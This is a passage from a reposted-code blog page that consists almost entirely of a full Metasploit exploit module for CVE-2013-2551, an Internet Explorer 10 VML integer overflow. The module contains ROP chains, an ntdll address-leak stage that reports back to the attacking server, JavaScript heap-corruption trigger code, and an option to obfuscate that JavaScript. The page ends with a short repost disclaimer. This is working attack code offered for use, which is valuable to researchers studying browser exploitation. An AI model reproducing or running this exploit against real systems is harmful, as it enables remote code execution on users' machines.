      send_response(cli, html, {'Content-Type'=>'text/html'})

    end

  end

end
View Code

 

7.3. CVE-2013-2551_MS13-037(IE10noHeapSpray).rb

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::RopDb
  include Msf::Exploit::Remote::BrowserAutopwn

  autopwn_info({
    :ua_name    => HttpClients::IE,
    :ua_minver  => "10.0",
    :ua_maxver  => "10.0",
    :javascript => true,
    :os_name    => OperatingSystems::WINDOWS,
    :rank       => Rank
  })


  def initialize(info={})
    super(update_info(info,
      'Name'           => "MS13-009 Microsoft Internet Explorer COALineDashStyleArray Integer Overflow",
      'Description'    => %q{
          This module exploits an integer overflow vulnerability on Internet Explorer.
        The vulnerability exists in the handling of the dashstyle.array length for vml
        shapes on the vgx.dll module. This module has been tested successfully on Windows 7
        SP1 with IE10. It uses the the JRE6 to bypass ASLR by default. In addition a target
        to use an info leak to disclose the ntdll.dll base address is provided. This target
        requires ntdll.dll v6.1.7601.17514 (the default dll version on a fresh Windows 7 SP1
        installation) or ntdll.dll v6.1.7601.17725 (version installed after apply MS12-001).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Nicolas Joly', # Vulnerability discovery, PoC and analysis
          'Danny (modified from Nicolas Joly)', # PoC
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2013-2551' ],
          [ 'OSVDB', '91197' ],
          [ 'BID', '58570' ],
          [ 'MSB', 'MS13-037' ],
          [ 'URL', 'http://www.vupen.com/blog/20130522.Advanced_Exploitation_of_IE10_Windows8_Pwn2Own_2013.php' ],
          [ 'URL', 'http://binvul.com/viewthread.php?tid=311' ]
        ],
      'Payload'        =>
        {
          'Space'          => 948,
          'DisableNops'    => true,
          'BadChars'       => "\x00",
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
        },
      'DefaultOptions'  =>
        {
          'InitialAutoRunScript' => 'migrate -f'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', {} ],
          [ 'IE 10 on Windows 7 SP1 with JRE6 ROP', # default
            {
              'Rop' => :jre,
              'Offset' => '0x5f4'
            }
          ],
          # requires:
          # * ntdll.dll v6.1.7601.17514 (fresh W7SP1 installation)
          # * ntdll.dll v6.1.7601.17725 (MS12-001)
          [ 'IE 10 on Windows 7 SP1 with ntdll.dll Info Leak',
            {
              'Rop' => :ntdll,
              'Offset' => '0x5f4'
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Mar 06 2013",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
      ], self.class)

  end

  def exploit
    @second_stage_url = rand_text_alpha(10)
    @leak_param = rand_text_alpha(5)
    super
  end

###############################

#    edi -> ZwProtectVirtualMemory
#    esi -> return address
#    ebp -> 0xffffffff
#    esp -> ptr to BaseAddress
#    ebx -> ptr to NumberOfBytesToProtect
#    edx -> 0x00000040
#    ecx -> ptr to OldAccessProtection

  def get_ntdll_rop
    case @ntdll_version
    when "6.1.7601.17514"
      stack_pivot = [
        @ntdll_base+0x0001578a, # ret # from ntdll
        @ntdll_base+0x000096c9, # pop ebx # ret # from ntdll
        @ntdll_base+0x00047733, # XCHG EAX,ESP # POP ESI # POP EDI # LEA EAX,DWORD PTR DS:[EDX-1] # POP EBX # RETN from [ntdll.dll]
      ].pack("V*")
      ntdll_rop = [
        @ntdll_base+0x0006e388,        # PUSH ESP # MOV CL,10 # INC DWORD PTR [ECX+8] # POP ESI # POP EBP # RETN 0x0C    (move esp -> esi)
        0x00010400,                    # NumberOfBytesToProtect
        @ntdll_base+0x00089d85,        # XCHG EAX,ESI # RETN    (move esi -> eax)
        0x90909090,
        0x90909090,
        0x90909090,
        @ntdll_base+0x0001dd9f,        # XCHG EAX,EBX # ADD EAX,DWORD PTR [EAX] # RETN 0x18    (move eax -> ebx)    [ebx -> ptr to NumberOfBytesToProtect]
        @ntdll_base+0x00005922,        # RETN
        0x90909090,
        0x90909090,
        0x90909090,
        0x90909090,
        0x90909090,
        0x90909090,
        @ntdll_base+0x0006e388,        # PUSH ESP # MOV CL,10 # INC DWORD PTR [ECX+8] # POP ESI # POP EBP # RETN 0x0C    (move esp -> esi)
        0x41414141,                    # OldAccessProtection
        @ntdll_base+0x00089d85,        # XCHG EAX,ESI # RETN    (move esi -> eax)
        0x90909090,
        0x90909090,
        0x90909090,
        @ntdll_base+0x00060549,        # XCHG EAX,ECX # RETN    (move eax -> ecx)    [ecx -> ptr to OldAccessProtection]
        @ntdll_base+0x000ce8fe,        # PUSH ESP # XOR DL,BYTE PTR [EAX] # POP EBP # RETN 0x04    (move esp -> ebp)
        @ntdll_base+0x000ab623,        # XCHG EAX,EBP # RETN    (move ebp -> eax)        EEEEESSSSPPPPP
        0x90909090,
        @ntdll_base+0x00057dc2,        # ADD EAX,20 # RETN
        @ntdll_base+0x00057dc2,        # ADD EAX,20 # RETN
        @ntdll_base+0x00057dc2,        # ADD EAX,20 # RETN
        @ntdll_base+0x00057dc2,        # ADD EAX,20 # RETN            0x80 / 4 = 0x20(32)
        @ntdll_base+0x0005dde3,        # MOV DWORD PTR [EAX],EAX # POP ESI # POP EBP # RETN 0x04    [BaseAddress]
        0x90909090,
        0x90909090,
        @ntdll_base+0x00035508,        # ADD EAX,1 # RETN
        0x90909090,
        @ntdll_base+0x00035508,        # ADD EAX,1 # RETN
        @ntdll_base+0x00035508,        # ADD EAX,1 # RETN
        @ntdll_base+0x00035508,        # ADD EAX,1 # RETN
        @ntdll_base+0x00089d85,        # XCHG EAX,ESI # RETN     [esi -> return addrsss]
        @ntdll_base+0x0009a30c,        # pop eax # retn        
        0xFA3DFA7F,
        @ntdll_base+0x0003ab39,        # add eax,5C205C1 # retn
        @ntdll_base+0x00036d70,        # xchg eax,edx # retn    [edx -> 0x00000040]    
        @ntdll_base+0x00047643,     # pop edi # retn    [edi -> ZwProtectVirtualMemory]
        @ntdll_base+0x00045F18,     # ntdll!ZwProtectVirtualMemory
        @ntdll_base+0x000cb72a,        # pop ebp # retn    [ebp -> 0xffffffff]        
        0xffffffff,                    # ProcessHandle
        @ntdll_base+0x00005922,        # RETN
        @ntdll_base+0x00005922,        # RETN
        @ntdll_base+0x00005922,        # RETN
        @ntdll_base+0x00005922,        # RETN
        @ntdll_base+0x00005922,        # RETN
        @ntdll_base+0x00005922,        # RETN
        @ntdll_base+0x00005922,        # RETN
        @ntdll_base+0x00005922,        # RETN
        @ntdll_base+0x000227c4,        # PUSHAD # RETN        eax ecx edx ebx esp(original) ebp esi edi
        0x90909090,
      ].pack("V*")
      return stack_pivot + ntdll_rop
    when "6.1.7601.17725"        # 未構造
      stack_pivot = [
        @ntdll_base+0x0001579a, # ret # from ntdll
        @ntdll_base+0x000096c9, # pop ebx # ret # from ntdll
        @ntdll_base+0x00015799, # xchg eax, esp # ret from ntdll
      ].pack("V*")
      ntdll_rop = [
        @ntdll_base+0x45F18, # ntdll!ZwProtectVirtualMemory
        0x0c0c0c40, # ret to shellcode
        0xffffffff, # ProcessHandle
        0x0c0c0c34, # ptr to BaseAddress
        0x0c0c0c38, # ptr to NumberOfBytesToProtect
        0x00000040, # NewAccessProtection
        0x0c0c0c3c, # ptr to OldAccessProtection
        0x0c0c0c40, # BaseAddress
        0x00000400, # NumberOfBytesToProtect
        0x41414141  # OldAccessProtection
      ].pack("V*")
      return stack_pivot + ntdll_rop
    else
      return ""
    end
  end

  
  def get_payload(t, cli)
    code = payload.encoded
    # No rop. Just return the payload.
    return code if t['Rop'].nil?

    # Both ROP chains generated by mona.py - See corelan.be
    case t['Rop']
    when :jre
      print_status("Using JRE ROP")
      stack_pivot = [
        0x7c348b06, # ret # from msvcr71
        0x7c341748, # pop ebx # ret # from msvcr71
        0x7c348b05  # xchg eax, esp # ret from msvcr71
      ].pack("V*")
      rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
    when :ntdll
      print_status("Using ntdll ROP")
      rop_payload = get_ntdll_rop + code
    end

    return rop_payload
  end

  
  def load_exploit_html(my_target, cli)
    p  = get_payload(my_target, cli)

    js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
    js_ntdllBase = @ntdll_base
    
    js_trigger = %Q|
    
    var rect_array = new Array();
    var a = new Array();
    var ntdllBase = #{js_ntdllBase};

function createRects(){

  for(var i=0; i<0x1000; i++){
    rect_array[i]    = document.createElement("v:shape")
    rect_array[i].id = "rect" + i.toString()
    document.body.appendChild(rect_array[i])
  }
  
}

function exploit(){

    // leak the address of shellcode
    var vml2 = document.getElementById("vml2")
    var i = 0
    
    for (i=0; i<0x400; i++){
        a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
    }

    for (i=0; i<0x400; i++){
        a[i].rotation;
        if (i == 0x300) {
            vml2.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
        }
    }

    var length_orig = vml2.dashstyle.array.length;
    vml2.dashstyle.array.length = 0 - 1;
    var marginLeftAddress;
    
    for (i=0; i<0x400; i++)
    {
        a[i].marginLeft = unescape("#{js_code}");
        marginLeftAddress = vml2.dashstyle.array.item(0x2E+0x16);
        if (marginLeftAddress > 0) {
            vml2.dashstyle.array.length = length_orig;
            break;
        }
    }

    // trigger
    var j = 0x400
    var vml1 = document.getElementById("vml1")

    for (j=0x400; j<0x800; j++){
        a[j] = document.getElementById("rect" + j.toString())._anchorRect;
        if (j == 0x700) {
            vml1.dashstyle = "1 2 3 4"
        }
    } 
    
    //length_orig = vml1.dashstyle.array.length;
    vml1.dashstyle.array.length = 0 - 1;
    vml1.dashstyle.array.item(6) = marginLeftAddress;        // vgx!COALineDashStyleArray::put_item+0x84/72 (4 + 2)
    vml1.dashstyle.array.item(8) = marginLeftAddress;        // ebx
    vml1.dashstyle.array.item(9) = ntdllBase + 0xcc18d;        // (RVA : 0x000cc18d) : # MOV ESP,EBX # POP EBX # RETN
    vml1.dashstyle.array.length = length_orig ;
    
    
    //for (j=0x400; j<0x800; j++)
    {
        delete a[0x701];
        CollectGarbage();
    }
    location.reload();

}
    |

    create_rects_func = "createRects"
    exploit_func = "exploit"

    if datastore['OBFUSCATE']
      js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger)
      js_trigger.obfuscate
      create_rects_func = js_trigger.sym("createRects")
      exploit_func = js_trigger.sym("exploit")      
    end

    html = %Q|
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>

<title>
</title>

<style>v\\: * { behavior:url(#default#VML); display:inline-block }</style>

<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />

<script>
#{js_trigger}
</script>

<body onload="#{create_rects_func}(); #{exploit_func}();">
<div id="blah"></div>
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
<v:oval>
<v:stroke id="vml2"/>
</v:oval>
</body>

</html>
    |

    return html
  end


  def html_info_leak

    js_trigger = %Q|
    var rect_array = new Array()
    var a = new Array()

function createRects(){
  for(var i=0; i<0x400; i++){
    rect_array[i]    = document.createElement("v:shape")
    rect_array[i].id = "rect" + i.toString()
    document.body.appendChild(rect_array[i])
  }
}

function exploit(){

  var vml1  = document.getElementById("vml1")

  for (var i=0; i<0x400; i++){
    a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
  }

  for (var i=0; i<0x400; i++){
    a[i].rotation;
    if (i == 0x300) {
      vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
    }
  }

  var length_orig = vml1.dashstyle.array.length;
  vml1.dashstyle.array.length = 0 - 1;

  for (var i=0; i<0x400; i++)
  {
    a[i].marginLeft = "a";
    marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
    if (marginLeftAddress > 0) {
      vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300;
      var leak = a[i].marginLeft;
      vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress;
      vml1.dashstyle.array.length = length_orig;
      document.location = "#{get_resource}/#{@second_stage_url}" + "?#{@leak_param}=" + parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 )
      return;
    }
  }

}
    |

    create_rects_func = "createRects"
    exploit_func = "exploit"

    if datastore['OBFUSCATE']
      js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger)
      js_trigger.obfuscate
      create_rects_func = js_trigger.sym("createRects")
      exploit_func = js_trigger.sym("exploit")
    end

    html = %Q|
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>
</title>
<style>v\\: * { behavior:url(#default#VML); display:inline-block }</style>
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<script>
#{js_trigger}
</script>
<body onload="#{create_rects_func}(); #{exploit_func}();">
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>
</html>
    |

    return html

  end


  def get_target(agent)
    #If the user is already specified by the user, we'll just use that
    return target if target.name != 'Automatic'

    nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
    ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

    ie_name = "IE #{ie}"

    case nt
    when '5.1'
      os_name = 'Windows XP SP3'
    when '6.0'
      os_name = 'Windows Vista'
    when '6.1'
      os_name = 'Windows 7'
    end

    targets.each do |t|
      if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
        print_status("Target selected as: #{t.name}")
        return t
      end
    end

    return nil
  end


  def on_request_uri(cli, request)
    agent = request.headers['User-Agent']
    uri   = request.uri
    print_status("Requesting: #{uri}")

    my_target = get_target(agent)
    # Avoid the attack if no suitable target found
    if my_target.nil?
      print_error("Browser not supported, sending 404: #{agent}")
      send_not_found(cli)
      return
    end

    if my_target['Rop'] == :ntdll and request.uri !~ /#{@second_stage_url}/
      html = html_info_leak
      html = html.gsub(/^\t\t/, '')
      print_status("Sending HTML to info leak...")
      send_response(cli, html, {'Content-Type'=>'text/html'})
    else
      leak = begin
        request.uri_parts["QueryString"][@leak_param].to_i
      rescue
      end

      # Use JRE1.6 to exploit it.
      if leak == 0
        html = load_exploit_html(my_target, cli)
        html = html.gsub(/^\t\t/, '')
        print_status("Sending HTML to trigger(Use JRE1.6)...")
        send_response(cli, html, {'Content-Type'=>'text/html'})
        return
      end

      # Use Ntdll to exploit it.
      print_status("ntdll leak: 0x#{leak.to_s(16)}")
      fingerprint = leak & 0x0000ffff

      case fingerprint
      when 0x70B0
        @ntdll_version = "6.1.7601.17514"
        @ntdll_base = leak - 0x470B0
      when 0x7090
        @ntdll_version = "6.1.7601.17725" # MS12-001
        @ntdll_base = leak - 0x47090
      else
        print_error("ntdll version not detected, sending 404: #{agent}")
        send_not_found(cli)
        return
      end

      html = load_exploit_html(my_target, cli)
      html = html.gsub(/^\t\t/, '')
      print_status("Sending HTML to trigger(Use Ntdll)...")
      send_response(cli, html, {'Content-Type'=>'text/html'})

    end

  end

end
View Code

 

 

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM